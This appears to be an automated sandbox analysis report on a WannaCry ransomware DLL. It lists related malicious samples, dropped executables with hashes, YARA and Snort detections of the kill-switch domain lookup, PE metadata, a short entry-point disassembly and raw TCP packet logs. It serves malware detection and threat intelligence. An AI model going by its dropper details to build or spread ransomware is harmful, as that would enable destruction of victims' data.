	5lgC8xle6R.dll	Get hash	malicious	Browse	172.233.196.68
	ZKVZGXr7Jc.dll	Get hash	malicious	Browse	2.16.244.164
	W2Mybgomwd	Get hash	malicious	Browse	23.194.118.84
	KsV5slw1Ya	Get hash	malicious	Browse	104.96.77.63
	ZG9zarm7	Get hash	malicious	Browse	23.37.131.68
	nbSClM2HVS.exe	Get hash	malicious	Browse	80.67.82.83
	1P3n6G5Qkl	Get hash	malicious	Browse	23.197.137.106
	1i1W2A4vl2	Get hash	malicious	Browse	2.21.229.83
	6QkIGQoSGY	Get hash	malicious	Browse	184.51.34.47
	jew.ppc	Get hash	malicious	Browse	88.221.119.255
	ynhA6iNyI5	Get hash	malicious	Browse	95.100.100.198
	XZm7Ogz35K	Get hash	malicious	Browse	95.100.100.197
	Ohw4JwCxjr	Get hash	malicious	Browse	23.2.125.184
	tDT2c9rE9g	Get hash	malicious	Browse	104.91.131.232
	Ares.x86	Get hash	malicious	Browse	204.237.205.156
	Ares.arm7	Get hash	malicious	Browse	203.69.141.234

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	pbuthm0byt.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	VbnNE33sph.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	ET67krfgam.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	jrnXSaSL2v.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	Bmd7qLeM4a.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	iAaERV2fMI.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	HfHdILcWam.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	VbmyaJM8W1.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	jP9k9v5A49.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	UFCAhHNf1k.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	k3UeuC5oiT.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	4Nz08nMrUD.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	NzLdApaJ2p.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	4R45357rJb.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	Hzxa4bqllj.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	o5BtdHyEim.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	aSmZkm5fWZ.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	PTWr87YXI9.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	ATm4a9uHeE.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74
	JY23PmszXw.dll	Get hash	malicious	Browse	52.242.101.226 20.190.159.2 40.125.122.176 52.152.110.14 40.126.31.70 20.54.89.106 20.190.159.74

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Windows\eee.exe	UjhHNEfOFP.dll	Get hash	malicious	Browse
C:\Windows\eee.exe	d8oGI2K5Bi.dll	Get hash	malicious	Browse

Created / dropped Files

C:\Windows\eee.exe

Download File

Process:	C:\Windows\tasksche.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1981503
Entropy (8bit):	1.1514036614623402
Encrypted:	false
SSDEEP:	3072:Pm7CQNtZU+mWdyVsJM5MelfvtNdQU/2DRIYUoNv+byel0QWq:PsCwu+mWhJifvtNP/7YXYlW
MD5:	03880BEAD20960FEF3D46ADE3C83E1BD
SHA1:	62EECEF13F3125CF8E4212D4AD85AB45E091830D
SHA-256:	92B0BECA439DB25D7098379CEE580FA69F6F5E7271708BDEC03AB8FF526426D8
SHA-512:	8534E48D702AFB70A4537096AEC7EBB1E4C1A4CF14A44F7C1F7D8DF972742A5E0A49738124891843CF10E390379ECEEFC7882A0BE6AEA206A6583BC4B1194F9D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 6%, Browse Antivirus: ReversingLabs, Detection: 12%
Joe Sandbox View:	Filename: UjhHNEfOFP.dll, Detection: malicious, Browse Filename: d8oGI2K5Bi.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..`_Z.`_Z.`_Z...Z.`_Z...Z1`_Z...Z.`_Z.>\[.`_Z.>[[.`_Z.>Z[.`_Z...Z.`_Z...Z.`_Z.`^Z@`_Z->Z[.`_Z->_[.`_Z(>.Z.`_Z->][.`_ZRich.`_Z........PE..L......Y..........................................@.......................... ............@.........................@...4...t...(........:......................X...Pn..T...............................@...................... ....................text............................... ..`.rdata..............................@..@.data...............................@....gfids..............................@..@.rsrc....F.......H..................@..@.reloc..X........ ..................@..B........................................................................................................................................................................................................................................................

C:\Windows\mssecsvr.exe

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2281472
Entropy (8bit):	5.5882105002772
Encrypted:	false
SSDEEP:	24576:QbLguriIfEcQdIVUacMNgef09eQjG/DXdhAdmvn:QnpEKUacBV9ej/jdhnvn
MD5:	62697F6EFBC9AF4B561F028D8A259B4B
SHA1:	C922760862711D2118A68DF71B7148F2922E1146
SHA-256:	A06839D42DF5DDE84B3B6AD58F813230509DFE7A51A639DD73D5AEC7672358EE
SHA-512:	E67E45B99153A8A0D42A28CDBA3DDEE40A7F090C062F9C6C4BAD2E0E0CDEBA79B9219CDAFACF5613C049B84913B8B987DE5E6BF325B3B9016C4360E0CEEC8CF7
Malicious:	true
Yara Hits:	Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 86%, Browse Antivirus: ReversingLabs, Detection: 98%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L.....L......................"...................@...........................P......................................................1..z...........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.........1...... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tasksche.exe

Download File

Process:	C:\Windows\mssecsvr.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive
Category:	dropped
Size (bytes):	2061938
Entropy (8bit):	5.459942797892359
Encrypted:	false
SSDEEP:	24576:tiIfEcQdIVUacMNgef09eQjG/DXdhAdmvm:XEKUacBV9ej/jdhnvm
MD5:	ADF1AD99D22225A33E63070C8F4FCC77
SHA1:	FF10A2A7FAA9FBA3B8B8C4489D05A43839AF9794
SHA-256:	133F44D8D2192E132949179BAA61848DFD703141F604615071052432E8072417
SHA-512:	8CD9658BC2EC9B3586D482B9D43D33DB055E35E0802EEC2AD579AA86E75EEEE1F9BFD3BD81B8CE4DED1A31D39548EAED780D90581BB677654843A4FA40F4B3E6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 57%, Browse Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&K.WG%.WG%.WG%.^?..LG%.^?...G%.^?..BG%.WG$.G%.^?..0G%.^?..VG%.^?..VG%.^?..VG%.RichWG%.................PE..L......U..........................................@..........................`......................................p...3............ ..(9..............................................................@............................................text.............................. ..`.rdata...P.......R..................@..@.data...(...........................@....rsrc...(9... ...:..................@..@........................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	2.810543049600073
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 98.32% Windows Screen Saver (13104/52) 1.29% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	dKkvbrzdUL.dll
File size:	5267459
MD5:	e2e41a9bbc44241fe4b97e18507eb390
SHA1:	0b02083e88094e95d12501c29c86595d2a03f3af
SHA256:	a3286e734efc4db2d17f6c0b838fcfdbb6ceefa724d4a0495ef01443e6a6d2d1
SHA512:	2a8d51f5d5a1dbebf466a971e8656151abe1898c64ba112b668b7853181bf35b8fb9ad6c924d61808b064d91559730e34a4e05c8b5c72104038f78af64f314df
SSDEEP:	24576:RbLguriIfEcQdIVUacMNgef09eQjG/DXdhAdmv:RnpEKUacBV9ej/jdhnv
TLSH:	AF362215349CC070D107517098E7CB62F576BC3A2679594FBF908B2A2E23BA2E71AF53
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100011e9
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x59145751 [Thu May 11 12:21:37 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e5708ae5fed0403e8117c645fb23e5b

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ebx
mov ebx, dword ptr [ebp+08h]
push esi
mov esi, dword ptr [ebp+0Ch]
push edi
mov edi, dword ptr [ebp+10h]
test esi, esi
jne 00007F3330A1063Bh
cmp dword ptr [10003140h], 00000000h
jmp 00007F3330A10658h
cmp esi, 01h
je 00007F3330A10637h
cmp esi, 02h
jne 00007F3330A10654h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F3330A1063Bh
push edi
push esi
push ebx
call eax
test eax, eax
je 00007F3330A1063Eh
push edi
push esi
push ebx
call 00007F3330A1054Ah
test eax, eax
jne 00007F3330A10636h
xor eax, eax
jmp 00007F3330A10680h
push edi
push esi
push ebx
call 00007F3330A103FCh
cmp esi, 01h
mov dword ptr [ebp+0Ch], eax
jne 00007F3330A1063Eh
test eax, eax
jne 00007F3330A10669h
push edi
push eax
push ebx
call 00007F3330A10526h
test esi, esi
je 00007F3330A10637h
cmp esi, 03h
jne 00007F3330A10658h
push edi
push esi
push ebx
call 00007F3330A10515h
test eax, eax
jne 00007F3330A10635h
and dword ptr [ebp+0Ch], eax
cmp dword ptr [ebp+0Ch], 00000000h
je 00007F3330A10643h
mov eax, dword ptr [10003150h]
test eax, eax
je 00007F3330A1063Ah
push edi
push esi
push ebx
call eax
mov dword ptr [ebp+0Ch], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 000Ch
jmp dword ptr [10002028h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720
[LNK] VS98 (6.0) imp/exp build 8168

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2190	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x203c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x500060	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x505000	0x5c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28c	0x1000	False	0.13037109375	data	1.4429971244731552	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1d8	0x1000	False	0.072509765625	data	0.7346018133622799	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x154	0x1000	False	0.016845703125	data	0.085726967663312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x500060	0x501000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x505000	0x2ac	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
W	0x4060	0x500000	data	English	United States

Imports

DLL	Import
KERNEL32.dll	CloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
MSVCRT.dll	free, _initterm, malloc, _adjust_fdiv, sprintf

Exports

Name	Ordinal	Address
PlayGame	1	0x10001114

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.68.8.8.855201532830018 07/20/22-06:05:54.649824	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	55201	53	192.168.2.6	8.8.8.8
192.168.2.68.8.8.858723532830018 07/20/22-06:05:57.606700	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	58723	53	192.168.2.6	8.8.8.8
192.168.2.68.8.8.859293532830018 07/20/22-06:05:55.753712	UDP	2830018	ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup)	59293	53	192.168.2.6	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 06:05:42.983827114 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:42.983874083 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:42.983983040 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:42.984141111 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:42.984169960 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:42.984342098 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:42.986404896 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:42.986432076 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:42.986820936 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:42.986835003 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.094978094 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.095065117 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.100661993 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.102102041 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.121320963 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.121376991 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.121685028 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.121782064 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.122147083 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.122168064 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.122538090 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.122622967 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.185647011 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.185869932 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.232501984 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.232506990 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.295222044 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.295315027 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.295337915 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.295368910 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.297888041 CEST	49718	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.297902107 CEST	443	49718	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.403726101 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.403755903 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.403776884 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.403872013 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.403891087 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.403908968 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.403948069 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.433165073 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433196068 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433423996 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.433455944 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433561087 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433562040 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.433576107 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433620930 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433656931 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.433667898 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.433676004 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.433689117 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.433738947 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.461709023 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.461877108 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.461899996 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.462138891 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.462179899 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.462228060 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.480200052 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.480243921 CEST	443	49719	20.40.136.238	192.168.2.6
Jul 20, 2022 06:05:43.480315924 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:43.480324984 CEST	49719	443	192.168.2.6	20.40.136.238
Jul 20, 2022 06:05:47.374233961 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.374284029 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.374402046 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.374654055 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.374708891 CEST	443	49724	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.374811888 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.376514912 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.376554012 CEST	443	49725	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.376794100 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.378674030 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.378705978 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.378803015 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.392334938 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.392355919 CEST	443	49725	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.392529011 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.392555952 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.399563074 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.399599075 CEST	443	49724	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.399780035 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.399801016 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.416281939 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.416331053 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.416491032 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.417203903 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.417222977 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.450849056 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.451004028 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.452739000 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.452888966 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.453409910 CEST	443	49724	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.453538895 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.457109928 CEST	443	49725	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.457293034 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.470225096 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.470400095 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.499142885 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.499170065 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.499461889 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.499471903 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.499583006 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.501353979 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.501368999 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.501585007 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.501593113 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.501703978 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.501773119 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.502074003 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.502104044 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.502254009 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.502266884 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.502348900 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.502418995 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.502446890 CEST	443	49724	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.502489090 CEST	49726	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.502660990 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.502671003 CEST	443	49724	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.502753973 CEST	443	49724	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.502815962 CEST	49724	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.504872084 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.504895926 CEST	443	49725	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.505183935 CEST	443	49725	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.505249977 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.505256891 CEST	49725	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.519037008 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.519062996 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.519138098 CEST	443	49727	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.519171953 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.519227982 CEST	49727	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.521250010 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.521281958 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.521356106 CEST	443	49723	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.521357059 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.521395922 CEST	49723	443	192.168.2.6	23.211.6.115
Jul 20, 2022 06:05:47.521445990 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.521466017 CEST	443	49726	23.211.6.115	192.168.2.6
Jul 20, 2022 06:05:47.521512032 CEST	443	49726	23.211.6.115	192.168.2.6
